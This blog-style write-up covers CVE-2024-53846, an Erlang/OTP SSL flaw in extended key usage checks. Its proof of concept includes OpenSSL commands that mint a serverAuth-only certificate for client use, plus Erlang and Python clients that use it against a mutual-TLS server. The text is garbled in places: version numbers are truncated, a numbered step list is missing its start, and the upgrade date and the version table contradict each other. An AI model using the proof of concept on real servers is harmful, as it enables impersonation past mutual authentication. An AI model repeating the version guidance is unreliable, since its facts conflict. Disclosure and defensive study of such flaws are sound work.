Erlang's Open Telecom Platform (OTP) is the backbone of many fault-tolerant, distributed systems. OTP is more than just a language; it's a robust set of libraries, a runtime, and principles that have powered everything from telecom switches to messaging giants like WhatsApp. But, even the strongest castles can have cracks—and that's exactly what happened with CVE-2024-53846.

In this article, we break down this critical vulnerability found in OTP's SSL handling, complete with code snippets, exploitation walk-through, and *practical* mitigation steps.

What is CVE-2024-53846?

In simple terms: A security regression in OTP's SSL library starting from versions OTP-25.3.2.8, OTP-26.2, and OTP-27. allows the incorrect verification of client or server certificates based on extended key usage (EKU). This lets attackers authenticate with certificates meant only for the other role (client/server), potentially breaking mutual authentication or impersonating users/servers.

Sources

- Erlang/OTP Official Advisory
- NIST National Vulnerability Database Entry

How OTP’s SSL Library Works

OTP's SSL application ensures secure communication over the network by verifying X.509 certificates and their keyUsage and extendedKeyUsage fields.

The Vulnerable Change

Regression:
Starting from OTP-25.3.2.8, OTP-26.2, and OTP-27., OTP’s SSL certificate verification logic became lax. It *incorrectly* accepted EKUs intended for the *other* party.

Vulnerable Scenario

A client presents a certificate with serverAuth, but OTP (the server) verifies it anyway.
A server presents a certificate with clientAuth, but OTP (the client) trusts it.

What’s Risky?
An attacker could authenticate as a user with a mis-purposed cert, or impersonate a server, bypassing SSL mutual verification.

Reference Code Snippet

Below is a simplified demonstration of using OTP’s ssl library in Erlang, vulnerable in affected versions:

%% Example: Client connects with wrong extendedKeyUsage
{ok, Socket} = ssl:connect("secure_host", 443,
    [
        {certfile, "certs/client-with-serverEKU.pem"},
        {keyfile, "certs/client-key.pem"},
        {cacertfile, "certs/ca.pem"},
        {verify, verify_peer},
        {reuse_sessions, false}
    ]
).

In secure OTP versions, the above should fail if client-with-serverEKU.pem only has serverAuth in the EKU.
In affected OTP (with the bug), this connection *erroneously succeeds*.

Connect as a client to a mutual-auth SSL server running vulnerable OTP.

3. If server verifies peer certificates (as it should), it will still trust your server-only certificate.

Forge Example Certificate (OpenSSL):

# Generate config to request serverAuth-only certificate
cat <<EOF > server_ext.cnf
[ v3_req ]
keyUsage = critical, digitalSignature, keyEncipherment
extendedKeyUsage = serverAuth
EOF

# Request a certificate (as usual), use -extensions v3_req and -extfile server_ext.cnf
openssl req -new -key client-key.pem -out csr.pem
openssl x509 -req -in csr.pem -CA ca.pem -CAkey ca-key.pem -out client-with-serverEKU.pem -days 365 -set_serial 01 -extensions v3_req -extfile server_ext.cnf

Now, use this certificate *as a client* in an OTP SSL connection.

Proof of Concept: Python Client Connecting to Erlang Server

Suppose you have an Erlang server set up for mutual TLS, expecting clients to present certificates with clientAuth. Here's how to connect with a serverAuth cert (should fail; affected OTP won't):

import ssl, socket

context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
context.load_cert_chain(certfile='client-with-serverEKU.pem', keyfile='client-key.pem')
context.load_verify_locations('ca.pem')
context.check_hostname = False

with socket.create_connection(('localhost', 8443)) as sock:
    with context.wrap_socket(sock, server_hostname='localhost') as ssock:
        print(ssock.version())

Mitigation and Fix

- Upgrade to latest OTP after June 2024. Patch releases fix this regression and re-validate certificate EKUs strictly by role.

io:format("~p~n", [erlang:system_info(otp_release)]).

`

- If you use affected versions (≤ OTP-25.3.2.8, OTP-26.2, and OTP-27.)—upgrade immediately.

### Hotfix (Advanced):

If you cannot upgrade instantly, verify the EKU manually in a custom certificate verification callback using OTP’s SSL options.
Read more about custom verify_fun in OTP's docs.

---

## Summary Table: Impact by OTP Version

| Version | Status | Safe? |
|--------------------|-------------|-------|
| OTP < 25.3.2.8 | NOT affected| ✅ |
| OTP 25.3.2.8-26.2 | Vulnerable | ❌ |
| OTP 27. | Vulnerable | ❌ |
| OTP 27.1+ | Patched | ✅ |

---

## Conclusion

CVE-2024-53846 undermines an essential pillar of secure SSL/TLS authentication in Erlang/OTP. If your system uses mutual TLS, especially with custom CAs, you are at risk!
Upgrade immediately. Review your mutual TLS trust assumptions, and audit your certificates’ EKUs and OTP version used in production.

References:
- Erlang OTP Release Notes 27. (see SSL section)
- NIST NVD – CVE-2024-53846
- Erlang SSL Docs

*Stay secure, upgrade smart!*

---

Have more questions about Erlang SSL or want more in-depth technical deep-dives? Comment below or follow us for updates.

Timeline

Published on: 12/05/2024 17:15:14 UTC